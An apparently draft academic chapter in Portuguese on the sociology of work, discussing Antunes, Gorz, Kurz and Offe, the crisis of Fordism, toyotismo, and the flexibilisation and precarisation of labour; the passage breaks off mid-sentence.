Sobre o trabalho

Sobre o trabalho

Sobre o mundo do trabalho
Flávio Sposto Pompêo (UnB)

 

Ao
recontar o mito de Sísifo, Camus disse que os deuses pensaram que não havia
punição mais terrível do que o trabalho inútil e sem esperança12 .
Subjazem à discussão do ensaio de Camus questões sobre o sentido da vida, mas
é inequívoca a menção à escolha feita pelos deuses.

As origens do trabalho

O trabalho, se for compreendido como a interação
entre natureza e homem que busca sua sobrevivência, é uma atividade ontológica
inescapável. Todas as sociedades precisam de mecanismos de troca com os
ambientes circundantes para garantir sua própria existência, que depende de
alimentos, lugares seguros para dormir, instrumentos para se defender de
predadores ou eventuais perigos externos etc. Nas categorias de István
Mészáros e Ricardo Antunes, existiriam o sistema de mediações de primeira
ordem e de segunda ordem. O sistema de mediações de primeira ordem teria como
finalidade a “preservação das funções vitais da reprodução individual e
societal” (Antunes, 2003, p. 19). Este tipo de atividade seria inerente à
existência humana, ou, nas palavras de Antunes, o sistema de mediações de
primeira ordem se fundamenta na “ontologia singularmente humana do trabalho,
pelo qual a auto-produção e a reprodução societal se desenvolvem”.

Assim,
por esta perspectiva, o trabalho, em última instância, faz parte da própria
natureza humana. Porém, com subseqüentes transformações no modo de
organização social, teria ocorrido uma “divisão social que operou a subordinação
estrutural do trabalho ao capital
” (idem, p.19), o que teria gerado o
sistema de metabolismo social do capital. Este sistema de metabolismo social
do capital corresponderia ao sistema de mediações de segunda ordem, que teria
introduzido “elementos fetichizadores e alienantes de controle social
metabólico” (idem, p. 20), promovido a “subordinação das necessidades humanas
à reprodução do valor de troca (…) e a divisão hierárquica do trabalho”
(idem, p. 21).

Segundo esta
perspectiva, portanto, o trabalho alienado, hierarquizado e cujas atividades
causam sofrimento porque estão distantes das necessidades imediatas dos
indivíduos surgiu em determinado momento histórico, mediado por certas
estruturas sociais que podem perfeitamente ser superadas para
promover um trabalho digno, um trabalho social que coincida com as
necessidades e vontades dos indivíduos. Para alguns autores, porém, este tipo
de atividade seria melhor denominado por palavras como “afazeres”, quando
referem-se à reprodução da vida, ou “labor”, quando referem-se a atividades
cujo indivíduo que executa é o beneficiário de suas finalidades (Cf. Gorz,
2003, p. 21). Na língua portuguesa, talvez estas distinções percam um pouco
de sua operacionalidade, mas, para André Gorz, o trabalho em sentido estrito
é uma invenção típica da modernidade na medida em que é uma atividade da
esfera pública13, tendo surgido com o capitalismo
manufatureiro, e fazendo inclusive com que tal esfera da vida seja a
principal forma de socialização deste período, levando a sociedade a se
reconhecer como uma “sociedade de trabalhadores”. Para a funcionalidade do
sistema, esta forma de trabalho precisava ser passível de ser quantificada e,
em vários aspectos, submeter-se ao que entendemos pela lógica econômica. Em
outras palavras, o necessário teria sido distinguir o trabalhador vivo do
trabalho, que seria indiferenciado. Assim, “o capitalismo industrial só pode
desenvolver-se a partir do momento em que a racionalidade econômica emancipou-se
de todos os outros princípios de racionalidade, para submetê-los ao seu único
domínio
”(Gorz, 2003, p. 27, ênfase minha).

Robert
Kurz, outro autor que tem uma concepção negativa do trabalho, também contesta
o caráter ontológico do trabalho. O argumento de Kurz parte da crítica à
idéia de que o trabalho é uma categoria abstrata que reúne atividades tão
heterogêneas homogêneas. Para ele,

Muitas
culturas camponesas, pastoris ou de caça jamais conheceram a noção
abstrata de ”trabalho”. Para elas seria
extremamente irracional e insensato reunir sob um único conceito abstrato atividades como caçar e plantar,cozinhar e educar os filhos, cuidar dos idosos e
proceder a ações rituais. Muitas vezes, nessas sociedades arcaicas (na medida
em que são reconstituíveis ou deixaram vestígios) existiam diferentes conceitos
universais de atividade para as diversas esferas da vida, para homens e
mulheres e para diversos grupos sociais ou habilidades (camponês, artista,
guerreiro etc.) _atividades estas que de modo algum correspondem ao conceito
geral moderno de ”trabalho”. (Kurz, 1997, versão eletrônica14)

Kurz
defende que a categoria não é uma abstração neutra e racional; remontando a
suas origens sócio-históricas, Kurz afirma que o trabalho era a atividade
social “daqueles que perderam a liberdade. (…) A condição de servo é o
conteúdo da abstração trabalho” (idem). Assim, o trabalho estaria
intrinsecamente associado ao sofrimento, à perda da liberdade e de autonomia.

A
argumentação de Kurz tenta demonstrar que foi a ascensão do cristianismo que
permitiu uma valorização do trabalho. Cristo teria perecido na cruz, e foi
seu sofrimento que teria salvado a humanidade. Assim, o masoquismo e o
sofrimento (e portanto o trabalho) teriam sido elevados à condição de
atividades nobres do ser humano. Os estados absolutistas e militarizados
pré-modernos, com sua sede de dinheiro, conjugaram-se à interpretação
protestante do cristianismo, elevando o trabalho/sofrimento ao status de
atividade que dignifica o homem. Na modernidade, segundo Kurz, “o liberalismo
e o marxismo herdaram do protestantismo e dos regimes absolutistas essa
religião do ”trabalho” e aperfeiçoaram a sua secularização. Na totalidade
global de uma atividade incessante, a servidão tornou-se liberdade, e a
liberdade, servidão, ou seja, aceitação voluntária de um sofrimento sem outro
sentido senão ele próprio” (Kurz, 1997, v.e.). A argumentação de Kurz pode parecer bizarra à primeira vista, mas não são meras palavras ao vento.
Não se argumenta que a fetichização do trabalho é associada à ascensão do
cristianismo simplesmente porque aquela ocorreu depois desta. Trata-se, na
verdade, de uma idéia consagrada, que aparece inclusive na obra de Weber: a
de que elementos e valores do mundo religioso de uma religião dominante
influenciam e criam valores inclusive nas esferas secularizadas da vida
social. A argumentação de Kurz neste caso é estranha, mas é original e
apresenta alguns elementos bastante coerentes; portanto, merece ser melhor
debatida em outros trabalhos.

Segundo
qualquer uma das três perspectivas apresentadas, os pressupostos sobre os
quais a modernidade se constituiu exigiram uma completa revolução de valores,
costumes, crenças e formas de estabelecimento das relações sociais,
constituindo, portanto uma “revolução social”. O capitalismo seria o modo de
produção que libertou os trabalhadores tanto da escravidão como da prisão a
determinada localidade geográfica (laços feudais).

O problema
desta “liberdade” é que o trabalhador está numa situação tal que, para
sobreviver, precisa vender sua mão de obra ao burguês, que é detentor dos
meios de produção. Em diferentes momentos de sua vida, Marx se referiu de
maneiras diferentes a este mesmo fenômeno; seja falando da alienação do
trabalho, seja falando do fetichismo da mercadoria, o que ele revelava era o
estranhamento entre o trabalhador e o produto de seu trabalho. A atividade do
trabalhador moderno necessariamente faz jus à própria origem da palavra
“trabalho” por remeter ao sofrimento: o tripalium era um instrumento
de tortura na Grécia Antiga usado nos escravos que se recusavam a trabalhar.
Sísifo e o trabalhador moderno compartilham o fardo do trabalho cujo produto lhe é inútil15 e, até certo ponto, sem esperança. A diferença é que, segundo Camus, o herói grego é consciente, enquanto para
trabalhador moderno, conforme tentaremos demonstrar no capítulo seguinte,
atingir a consciência não é nada fácil.

A crise do fordismo/taylorismo, a crise do capital nos anos
70 e a mundialização do capital

Na origem das Ciências Sociais, o
trabalho é uma categoria central na compreensão dos processos sociais. Em
Marx, a própria dinâmica da História se dá a partir da luta entre as classes
sociais, determinadas objetivamente a partir de critérios relacionados ao
trabalho; em Durkheim, as classes se integram funcionalmente a partir do
trabalho, que gera a solidariedade orgânica e o sentimento de valorização
mútua; mesmo em Weber o trabalho é central, já que a própria ascensão do
capitalismo só foi possível quando o protestantismo permitiu a expressão de
uma nova racionalidade dos agentes na busca por ganhos individuais que levou
à valorização do trabalho e do ganho individual16.

Assim,
por um bom tempo, as modernas sociedades ocidentais foram entendidas como sociedades
do trabalho
. O trabalho estava no cerne dos processos sociais, das
transformações macro-estruturais e, por conseguinte, no centro das
preocupações dos cientistas sociais. A partir de certo momento, porém, as
coisas começam a se diversificar. Afirma-se que nem toda dominação é de
classe, que por causa da heterogeneidade dos trabalhadores os seus interesses
não mais estão objetivamente dados, que a diminuição da carga horária permite que as pessoas se envolvam mais ativamente em outras esferas sociais que passam a
ganhar proeminência. Neste processo, tem grande importância simbólica o livro
“Adeus ao Proletariado”, publicado por André Gorz em 1980. A negação da
centralidade do trabalho não é nova, mas o que chocou no livro de Gorz foi o
fato de que tal autor, nas décadas de 60 e 70, era um autor de peso e
assumidamente marxista. O livro em questão contesta sua produção intelectual
precedente, defendendo que o capitalismo teria sofrido transformações tais
que o conceito de classe social teria perdido sua centralidade analítica e o
proletariado teria perdido seu destino histórico-ontológico, objetivamente
dado, de ser.

A
crítica de Gorz surge no esteio de um processo bem definido historicamente: a
crise do capital a partir dos anos 70, que é simultânea à crise dos processos
produtivos fordista e taylorista.

Os processos
produtivos a partir do começo do século XX eram estruturados em função do
binômio taylorismo/fordismo. O fordismo estava associado à produção em série,
enquanto o taylorismo associa-se à cronometragem das ações. Este binômio
tinha como característica básica a produção em massa, executada por
mão-de-obra barata e semi-qualificada. No pós-guerra este processo produtivo
permitiu um acordo nos países centrais que garantia uma regulação das
atividades de tal maneira que os trabalhadores tinham uma certa estabilidade
no emprego e não eram submetidos a condições tão degradantes de trabalho.
Isto só foi possível, porém, porque o pacto não englobou os países do chamado
terceiro mundo, em que a mão-de-obra de menor qualificação estava submetida a
piores condições de trabalho e não tinha os direitos que os trabalhadores dos
países centrais tinham no Estado de Bem-estar Social. A partir do final da
década de 60 e início da década de 70, porém, o capital enfrentou uma séria
crise no modelo de acumulação de capital, o que colocou em xeque tanto os processos produtivos tayloristas/fordistas como o próprio Estado de
Bem-estar Social17.

A partir dos anos 70 o
capitalismo entrou em um novo estágio, marcado por uma crise acentuada do
capital. Ricardo Antunes (2003, p. 29-30) identificou os seguintes traços
como caracterizadores deste quadro crítico:

  • enormes quedas
    nas taxas de lucro, acentuadas pelo encarecimento da mão-de-obra, que
    promovia constantes lutas para melhorar suas condições de vida18; com o
    encarecimento da mão-de-obra, as empresas começaram a cortar gastos, dando
    início à proeminência do desemprego estrutural;
  • esgotamento do
    taylorismo/fordismo, que era incapaz de responder à crescente retração da
    demanda dos produtos advinda do aumento das taxas de desemprego;
  • autonomização
    da esfera financeira;
  • crescente concentração
    de capitais graças ao início de uma série de fusões entre grandes empresas;
  • crise dos
    mecanismos do Estado de Bem-Estar social, acelerada pela crise fiscal nos
    estados do capitalismo avançado, que gerou a necessidade de cortes de gastos
    e transferência de atribuições ao capital privado e, conseqüentemente, incremento das privatizações, flexibilização dos mercados de
    trabalho19.

 

Como veremos em tópicos seguintes, esta crise desencadeou profundas transformações no mundo do trabalho e nas próprias
estruturas de organização do capitalismo. A fase que emergiu é freqüentemente
associada ao termo “globalização”, que seria marcada pela integração, em
escala mundial, dos processos financeiros, produtivos, culturais, políticos
ou, na expressão de diversos pensadores do mainstream, da emergência
de uma interdependência.

Entretanto,
conforme mostra o economista francês François Chesnais, o termo globalização
não é neutro. O termo teria nascido nas business schools americanas,
em contextos de apologia do mundo sem fronteiras que estava nascendo.
Globalização seria um termo vago e ambíguo, sendo, em diversas situações,
utiliza conscientemente para manipular o imaginário social, adaptando-se a
situações as mais diversas (Chesnais, 1996, p. 23-25).

Chesnais
propõe, em oposição ao termo globalização, a utilização do termo
mundialização, que deve ser usado em detrimento ao primeiro porque é mais
preciso com relação aos processos históricos em questão ao demonstrar
explicitamente que a economia se mundializou. A distinção entre mundialização
e globalização não se trata de mero malabarismo retórico vazio de sentido.
São palavras surgidas em contextos diferentes, usadas em situações
diferentes, por pessoas diferentes, para designar fenômenos diferentes.
Segundo Chesnais, a era da mundialização do capital “deve ser pensada como
uma fase específica do processo de internacionalização do capital e de sua
valorização, à escala do conjunto das regiões do mundo das regiões do mundo
onde há mercados ou recursos, e só a elas” (idem, p. 32, ênfase do
autor). Chesnais ressalta ainda o caráter excludente da mundialização do
capital, em que só um punhado de países capitalistas centrais consegue se
manter nos altos níveis da competitividade mundial, enquanto os países ditos
em desenvolvimento são marginalizados no processo20. A crise do capitalismo exigiu uma reestruturação dos processos produtivos, e se observaram a emergência de novas maneiras de
organizar o trabalho, algumas vezes associadas ao chamado “toyotismo”.

A
ascensão do toyotismo

A
crise que o capitalismo enfrentou nos anos 70, tanto com relação aos
problemas financeiros quanto às contestações que o sistema vinha sofrendo por
parte da classe trabalhadora, exigiu uma forte reconfiguração do mundo do
trabalho. Os novos processos produtivos que emergiram são freqüentemente
sintetizados na figura do chamado toyotismo.

O
chamado toyotismo surgiu no Japão do pós-guerra, nas fábricas da Toyota.
Ricardo Antunes aponta as oito principais características que diferenciariam
o toyotismo do fordismo (2003, p. 53-54. Ver também Antunes e Alves, 2004, p. ?; Gorz, 2004, p.
40-46 e passim):

 

  • enquanto
    o fordismo/taylorismo teria como objetivo a produção homogênea em massa, o
    toyotismo estaria muito mais vinculado à demanda, com produção
    individualizada e heterogênea;
  • fundamenta-se
    no trabalho em equipe, rompendo com o trabalho parcelado do fordismo;
  • altera
    a relação homem máquina, já que o trabalhador taylorista estaria capacitado a
    operar simultaneamente múltiplas máquinas;
  • busca
    um melhor aproveitamento do tempo de produção a partir do princípio do just
    in time
    ;
  • apresenta uma diminuição dos estoques a
    partir de idéias como o kanban21, os sistemas de senhas ou de placas para a
    reposição dos estoques;
  • a estrutura organizacional passa a ser mais horizontalizada, ao
    contrário do fordismo/taylorismo, em que a produção
    é fortemente hierarquizada e verticalizada; isto é conseguido a partir da
    transferência a terceiros do que antes era produzido dentro da fábrica, sendo
    que estes terceiros também seguem a horizontalidade em sua produção;
  • organização de “Círculos de Controle da
    Qualidade”, que buscam a apreensão do savoir faire dos trabalhadores;
  • promoção
    de emprego vitalício a uma pequena parcela do núcleo dos trabalhadores.

Um dos elementos que chama a atenção é o fato de a produção ser
agora heterogênea, menor e vinculada à demanda. Em tal situação, para manter
as mesmas taxas de lucro, o capital precisa fazer as mercadorias circularem
mais rapidamente. Num contexto de perda de renda dos trabalhadores e
diminuição proporcional da população que trabalha causada pelo desemprego
estrutural, o capital possui como principal recurso a criação de demandas de
consumo que, a partir do poder da publicidade, faz com que as pessoas queiram
atualizar com uma velocidade cada vez maior os produtos, que rapidamente se
tornam supérfluos22. Assim, um automóvel novo que tenha mecanismos exatamente
iguais aos do modelo do ano anterior mas que possua um design novo de farol
pode ser vendido como novidade, tornando o modelo anterior ultrapassado. A
publicidade comercial moderna, que associa produtos a valores e estilos de
vida imateriais, não é novidade, já que data do início do século XX. O que há
de novo, e que vem crescendo significativamente, é a quantidade de tempo que
a população gasta consumindo produtos dos meios de comunicação de massa, que
vem crescendo cada vez mais, ou seja, submetendo cada vez mais as pessoas a tais tipos de publicidade.

Além da publicidade, que associa modelos novos de produtos a
sentimentos como a virilidade, a sensualidade, a riqueza, a felicidade, outra
maneira de fazer as mercadorias circularem rapidamente é o uso intensivo de
novas tecnologias, que tornam um equipamento ultrapassado com velocidade
impressionante. Conforme aponta Antunes (2003, p. 50-51), esta situação leva
a um paradoxo: quanto mais “qualidade total” os produtos possuírem, menor
deve ser seu ciclo de vida, ou seja, mais rapidamente ele deve se tornar
obsoleto. O exemplo são os microcomputadores e outros equipamentos do mundo
da informática. Em um prazo inferior a um ano, um computador de última
tecnologia vê tanto seus softwares como seu hardware tornarem-se obsoletos.
Uma impressora, por mais que seja de ponta e incorpore muita “qualidade
total”, precisa quebrar rapidamente para que as mercadorias circulem mais
rapidamente e as taxas de lucro das empresas não diminuam. Não temos aqui
condição de apontar se tal quebra é “conspiratória”, ou seja, se as empresas
deliberadamente fabricam produtos frágeis que quebrem logo; o relevante é o
paradoxo da idéia de qualidade total, que tem grande funcionalidade.

No bojo do toyotismo e dos
chamados processos produtivos pós-fordistas, outro elemento que merece menção
é a ascensão de um novo tipo de individualismo. Nas palavras de Antunes, esta
etapa do capitalismo promove, “no plano ideológico, (…) um culto de um
subjetivismo e de um ideário fragmentador que faz apologia ao individualismo
exacerbado contra as formas de solidariedade e de atuação coletiva e social”
(2003, p. 48). Esta idéia remete a uma reorganização de diversas esferas de
sociabilidade, iniciada a partir de programas conscientes que buscam
estabelecer processos de identificação ideológica entre os trabalhadores e as
fábricas. Neste processo, os trabalhadores são levados a se verem enquanto indivíduos
num sistema capitalista que não cansa de repetir, por incontáveis mecanismos
culturais, o mito do indivíduo que, por seu próprio esforço, vence na vida.
Na fábrica, estes indivíduos que “vencem” são premiados, tendo direito a
estabilidade, férias, cafezinho e, uma vez por mês, bolo de chocolate. Estes
indivíduos passam a se ver como necessários na empresa. Em alguns casos, a
empresa é amada pelo trabalhador, é elevada a um status que pode ser superior
ao dos membros familiares. Chamarei este processo de “fetichismo da
pessoalidade”. Esta idéia de identificação, porém, oculta o fato de que
apenas um pequeno núcleo estável de trabalhadores estaria sujeita a esta
“ideologia dos recursos humanos”23, situação que só pode ser mantida enquanto
estruturalmente largas massas de trabalhadores estão sujeitas ao desemprego
estrutural e a diversas formas degradantes de trabalho e subemprego.
Desenvolveremos melhor esta idéia ao final do capítulo, particularmente ao
discutir a perspectiva de André Gorz sobre a heterogenização das classes
trabalhadoras

No início do capítulo, fizemos menção ao
fato que o capitalismo teria libertado os trabalhadores dos laços feudais.
Isto se deu na medida em que na gênese do capitalismo o trabalho era uma
força indiferenciada, anônima, já que tanto fazia para o capital se o
trabalhador se chamava A ou B, e para o trabalhador se o empregador era a
empresa C ou D, já que as relações de trabalho eram marcadas pela
impessoalidade. O fetichismo da pessoalidade acaba com este processo. André
Gorz alude a este processo questionando a possibilidade de, numa era de
fetichismo da pessoalidade, “o operário [ser] transformado no “orgulhoso vassalo”
de uma firma da qual ele é constrangido a se identificar totalmente”24.

Além disto, a crise dos anos 70 engendrou outra resposta do capital para tentar baratear os custos de mão de obra. O
item seguinte aborda a chamada “flexibilização do trabalho”.

Flexibilização e precarização do trabalho

O século XX foi marcado pelas lutas das classes trabalhadoras
que, particularmente nos países do oeste europeu, levou à construção de
direitos sociais que permitiram que os trabalhadores, mesmo vivendo em países
capitalistas, pudessem ter uma vida relativamente digna. Como apontei
anteriormente neste capítulo (p.
??), este processo levou a
crescentes aumentos dos custos da mão-de-obra, um dos fatores da crise
estrutural do capital enfrentada a partir dos anos 70. Entra-se em uma nova
fase do capitalismo, a era da “globalização”, em que é necessário
flexibilizar as condições de trabalho porque assim exigem os imperativos de
competitividade do século XXI.

Pelo menos isso é o que reza
o discurso oficial. O caso da França é paradigmático para ilustrar esta
mudança de perspectiva. Por muito tempo, uma das fortes bandeiras dos
trabalhadores era a redução do tempo da jornada de trabalho. Até pouco tempo,
esta jornada era de 35 horas semanais. Em 2005, porém, esta jornada foi
derrubada pelo parlamento, que acabou com a jornada de trabalho na França
(passou a valer a jornada da União Européia, que é de 48 horas semanais). Na
era da mundialização, em que o capital é desterritorializado e migra
facilmente entre diferentes países, a regra é simples: quem não é competitivo
perde, e, para se manter competitivo, é necessário “flexibilizar” cada vez
mais as condições de trabalho. A questão é que a palavra “flexibilizar”
geralmente é usada como um eufemismo, um recurso retórico para ocultar o real
significado dessas transformações, que é a retirada de direitos dos
trabalhadores. Entre as tendências mundiais da “flexibilização”, estão o
aumento ou fim da jornada de trabalho, a privatização da previdência pública, o fim da estabilidade no emprego, etc25.

Não importa qual seja o mecanismo, a regra é simples: baratear o
custo da mão-de-obra para “encorajar” o capital a investir ou mesmo manter os
investimentos naquele país para evitar o aumento do desemprego. É uma lógica
sistêmica que, favorecendo aos interesses dominantes, gera desemprego (que é
estrutural) em outro lugar do planeta, ao mesmo tempo que desmonta os poucos
sistemas de proteção construídos pelos trabalhadores.

Isto acontece também
porque o toyotismo e a acumulação flexível26 não são uma forma completa de
rompimento com os processos produtivos anteriores. Ou seja, por mais que
alguns dos processos descritos no item anterior demonstrem que alguns setores
da força de trabalho estão tendo acesso a mais recursos e estão tendo uma
compreensão maior dos processos produtivos a tendência geral é a da
precarização, advinda tanto das flexibilizações como da descentralização da
produção. Inclusive, mesmo com a implantação do sistema just in time,
pode-se notar uma tendência à intensificação dos tempos de trabalho27.

A questão da intensificação dos tempos de trabalho não pode ser
compreendida sem a menção à nova divisão sexual do trabalho. O século XX foi
marcado por uma ascensão feminina a nova esferas de sociabilidade. Alguns
poderiam atribuir a “ascensão” feminina a intensas lutas, às necessidades do
capital de utilizar vastas quantidades de mão-de-obra barata ou mesmo às
grandes evoluções dos métodos anticoncepcionais. O fato é que o século XX viu o ingresso, em proporções inéditas, da mão-de-obra feminina no mercado de
trabalho28. Como se sabe, a entrada das mulheres no mundo do trabalho não foi
acompanhada de uma liberação das atividades domésticas, o que as submete a
rotinas que exigem cada vez mais esforço, já que agora estão inseridas tanto
nas atividades de produção como nas de reprodução (aquelas que não produzem
valor mas não necessárias para a produção do sistema).

A entrada das mulheres no mercado de trabalho não foi isenta de
conseqüências para a precarização tendencial do mundo do trabalho. Sabe-se
que as mulheres, por estarem historicamente submetidas a posições sociais
hierarquicamente inferiores, são obrigadas a, para conseguir emprego, aceitar
os mesmos postos dos homens por salários menores, o que contribuiu para a
diminuição da renda em escala mundial. Isto levou também à formação de uma
divisão sexual do trabalho bastante peculiar para a situação feminina.
Segundo Ricardo Antunes (2003, p. 105-106):

Na divisão sexual do trabalho, operada pelo capital dentro do
espaço fabril, geralmente as atividades de concepção ou aquelas baseadas em
capital intensivo são preenchidas pelo trabalho masculino, enquanto aquelas
dotadas de menor qualificação, mais elementares e muitas vezes fundadas em
trabalho intensivo, são destinadas às mulheres trabalhadoras (e, muito
freqüentemente, também aos trabalhadores/as imigrantes e negros/as).29

Com a flexibilização do trabalho,
“desemprego, precarização do trabalho e destruição (…) tornaram-se traços
constitutivos dessa fase de reestruturação produtiva do capital” (Antunes,
2003, p. 34). Este quadro é agravado por um elemento que pode ser visto como
o objetivo em última instância da flexibilização: o aumento do emprego informal, sem direitos trabalhistas. Segundo Ricardo Antunes, no Brasil de hoje a taxa de informalidade já atinge quase 60% da
mão-de-obra30. O número exato não importa neste momento, o mais relevante é
ver que a informalidade é crescente. Robert Kurz (1999, v.e.) desenha o
quadro com contornos pessimistas:

entre o emprego formal e o desemprego também cresce um setor
difuso, que já é velho conhecido dos países do Terceiro Mundo e que, nas
sociedades marcadas pelo “apartheid” social de uma minoria que toma parte no
mercado globalizado, ganhou o rótulo de “economia informal” dos excluídos, os
quais vegetam abaixo do nível de miséria. Os camelôs nas calçadas, os garotos
que limpam pára-brisas nos cruzamentos, a prostituição infantil ou o sistema
semi­legal de reaproveitamento de sucata e lixo compõem esta categoria.

Kurz afirma ainda que a situação de informalização e
flexibilização advinda das transformações recentes do trabalho está
acompanhada de uma completa deterioramento das condições de emprego, a
começar pela renda, já que, segundo Kurz, “há 20 anos o salário real diminui
de forma contínua” (idem). Assim, pessoas teriam que ter dois ou três
empregos para manter o mesmo padrão de vida, o que faria com que se tornem
comuns situações como a do policial que é segurança particular à noite ou do
funcionário público que é garçom nos fins de semana. O taxista formado em
Filosofia seria o símbolo dessa situação de degradação em que, para se manter
no mercado de trabalho, as pessoas precisariam ocupar posições abaixo de sua
qualificação profissional.

Freqüentemente se argumenta que as
“flexibilizações” seriam necessárias para aumentar os níveis de
competitividade das economias e os índices de investimento. Flexibilizar (precarizar) tornaria a localidade mais atrativa para o capital mundializado, atraindo investimentos e, por
conseqüência, empregos. Gorz mostra, porém, que a partir dos anos 70 houve
sucessivas diminuições nas taxas de investimento, paralelo a um aumento
enorme das taxas de lucro e do pagamento de acionistas31. A falácia da competitividade
seria constantemente reforçada pelos formadores de ideologia a partidos dos
mitos do crescimento econômico do PIB, alta da bolsa e da taxa de juros, que
afetam pouco ou nada da vida da grande maioria da população mas que estão
sempre no centro dos debates. Nos Estados Unidos, nos anos 80, por exemplo,
1% da população açambarcou o equivalente a 2/3 de toda a riqueza material do
crescimento econômico da década. Na Alemanha, de 1978 a 1994, a porcentagem
do rendimento nacional disponível equivalente aos salários líquidos caiu 17%,
enquanto a parte equivalente aos lucros líquidos subiu 50%32.

Perspectivas teóricas sobre as classes sociais hoje

Como vimos, o mundo do trabalho sofreu profundas transformações
e reconfigurações a partir dos anos 70. Teria o trabalho perdido sua
centralidade? Como fica o conceito de “classes sociais” para discutir a
sociedade de hoje? Qual o futuro do trabalho? Discutiremos neste item algumas
perspectivas teóricas diferentes para tentar lançar alguma luz no assunto.

Claus Offe é um dos autores que defende
a implosão da categoria trabalho. Em uma discussão que se inicia nos cânones
das Ciências Sociais, Offe mostra que, dos fundadores da Sociologia, em que o
trabalho era o ponto central a partir do qual o resto dos processos sociais
poderia ser compreendido, a tendência dos estudos sociais foi mudando, tendo
ocorrido uma descentralização da categoria trabalho, particularmente a partir dos anos 70, demonstrada por estudos sobre a vida cotidiana ou sobre o comportamento político e eleitoral
(Offe, 1989, p. 5 a 8). Obviamente, o mero fato de as preocupações acadêmicas
terem mudado não nos diz tanta coisa sobre as transformações do mundo do
trabalho. Offe defende a perda da centralidade do trabalho partir de dois
conjuntos de questionamentos sobre tal esfera.

O primeiro conjunto diz respeito à “vasta heterogeneidade
empírica” de tal esfera. O ato de trabalhar seria atribuído a crescentes
porções das sociedades contemporâneas, mas cada vez isso diria menos sobre os
estilos de vida, os interesses etc. Como conseqüência, haveria um crescente
declínio das formas classistas de cultura e, cada vez menos, a posição
ocupada na estrutura de classes seria suficiente para deduzir diferentes
aspectos da vida do indivíduo (idem, p. 8 a 12).

O segundo conjunto se refere ao “declínio da ética do trabalho”.
Pela crescente heterogeneidade empírica e pela diminuição proporcional do
tempo dedicado à esfera do trabalho, a avaliação subjetiva do trabalho
estaria cada vez mais heterogênea e ocuparia uma posição e significação cada
vez menor nas subjetividades dos indivíduos (idem, p. 12-17). Assim, para
ele,

Se a consciência social não deve mais
ser construída como consciência de classe; se a cultura cognitiva não está
mais relacionada primeiramente com o desenvolvimento das forças produtivas;
se o sistema político deixou de se preocupar, em primeiro lugar, com a
garantia das relações de produção e a administração dos conflitos
distributivos, e, finalmente, se os problemas centrais colocados por esta
sociedade não podem mais ser resolvidos em termos das categorias de escassez
e produção, então existe claramente a necessidade de um sistema conceitual
que possa ajudar a mapear estas regiões da realidade social não determinadas completamente pelas esferas do trabalho e da produção (idem, p. 17).33

Obviamente, conclui-se da argumentação de Offe que o trabalho
perdeu sua centralidade e que as sociedades ocidentais contemporâneas
deixaram de ser sociedades do trabalho. Nem todos os autores concordam com
essa perda da centralidade do trabalho, mas vários dizem que esta perda precisa ocorrer. Esta proposta ganhou contornos com o grupo alemão Krisis, e
particularmente na obra de seu mais proeminente autor, Robert Kurz34. Kurz
tem uma concepção extremamente crítica e negativa do trabalho, conforme
abordamos no início deste capítulo35. Ao contrário de Offe, porém, Kurz não
defende que o trabalho perdeu completamente a centralidade. Conforme enuncia
o famoso início do Manifesto contra o trabalho,

Um defunto domina a sociedade -o defunto do trabalho.
Todos os poderes ao redor do globo
uniram-se para a defesa deste domínio: o Papa e o Banco Mundial, Tony Blair
e Jörg Haider, sindicatos e empresários, ecologistas alemães e
socialistas franceses. Todos eles só conhecem um lema: trabalho, trabalho,
trabalho! (Krisis, v.e., s.d)

A idéia é que o trabalho manteve a centralidade das consciências
mesmo tendo, segundo Kurz, se tornado crescentemente desnecessário pelos
grandes avanços técnico­científicos, vide a microeletrônica. “A sociedade
nunca foi tanto sociedade do trabalho como nesta época em que o trabalho se
faz supérfluo” (idem). Assim, Kurz dispara tanto contra o capitalismo, a sociedade da mercadoria (“a forma de mercadoria da reprodução social”) que idolatra o
deus-trabalho, como contra os movimentos socialistas.

Quanto mais fica claro que a sociedade do trabalho chegou
a seu fim definitivo, tanto mais violentamente este fim é reprimido na
consciência da opinião pública. Os métodos desta repressão psicológica, mesmo
sendo muito diferentes, têm um denominador comum: o fato mundial de o
trabalho ter demonstrado seu fim em si mesmo irracional, que tornou-se
obsoleto. Este fato vem redefinindo-se com obstinação em um sistema maníaco de
fracasso pessoal ou coletivo, tanto de indivíduos quanto de empresas ou
"localizações". A barreira objetiva ao trabalho deve aparecer como um problema
subjetivo daqueles
que caíram fora do sistema.(idem)

Para Kurz, o grande problema de todos os
movimentos emancipatórios atuais é que eles não buscam romper com a ontologia
do trabalho. Para ele, o verdadeiro sentido do socialismo não é, ao contrário
do entendimento atual, libertar o trabalho, e sim libertar do
trabalho
. O movimento operário imaginaria o tempo livre apenas inserido
dentro de uma realidade em que o trabalho deve ser o centro da práxis e
formador do sentido da vida. Se o movimento socialista era o movimento dos trabalhadores,
fez-se necessário generalizar uma cultura operária “cujas monstruosidades
“realistas” e monumentais glorificações kitsch do "dispêndio de força de
trabalho" figuram de modo quase idêntico no fascismo alemão e no
socialismo "em construção" da União Soviética. "O trabalho
liberta" era também a palavra de ordem, de forma alguma secreta, do
movimento operário socialista36” (Kurz, 2002, v.e.). A argumentação de Kurz
chega inclusive ao ponto de criticar o famoso hino da internacional,
particularmente o trecho que roga contra os parasitas.

Assim, o sistema de valores que Kurz defende incute um status negativo ao trabalho e, em contraposição,
atribui um valor positivo ao ócio. Somente o ócio pode trazer coisas boas.
Até a origem da ciência entra na argumentação: “A ciência nasceu na
antigüidade, e não do "trabalho", mas do "ócio", do
distanciamento da crua unidade do processo da vida” (idem). Assim, este seria
o momento de necessidade de uma completa revolução de todos os valores que
norteiam a vida social, já que muitos estariam contaminados pela idéia do
trabalho. O trecho abaixo defende que o próprio desenvolvimento do
capitalismo estaria preparando o caminho de uma sociedade livre, mas neste
momento seria particularmente importante tomar cuidado com as ideologias
defensoras do trabalho:

O que agora aparece como a vitória definitiva da
liberdade ocidental, da democracia e da "economia de mercado”, como o
"fim da história", já é na verdade parte da sua crise definitiva, em que começam a
vacilar justamente aquelas determinações básicas que ligam entre si todas as partes
da sociedade mundial como sistema planetário produtor de mercadorias, apesar
dos diversos graus de desenvolvimento. (idem)

Outro autor que tem uma concepção
negativa do trabalho é André Gorz. Em sua obra há alguns pontos de
confluência com Kurz: ambos defendem que o capitalismo cria condições para
que as pessoas trabalhem cada vez menos, e ambos defendem a necessidade de
que o trabalho perca a centralidade nos processos de subjetividade37. As
obras dos autores, porém, apresentam grande descontinuidades, particularmente
na maneira de abordar as problemáticas em questão. Enquanto Kurz, conforme
demonstram os trechos citados, se concentra em uma pregação moral contra a
categoria trabalho, Gorz tem uma abordagem bem mais descritiva, fazendo
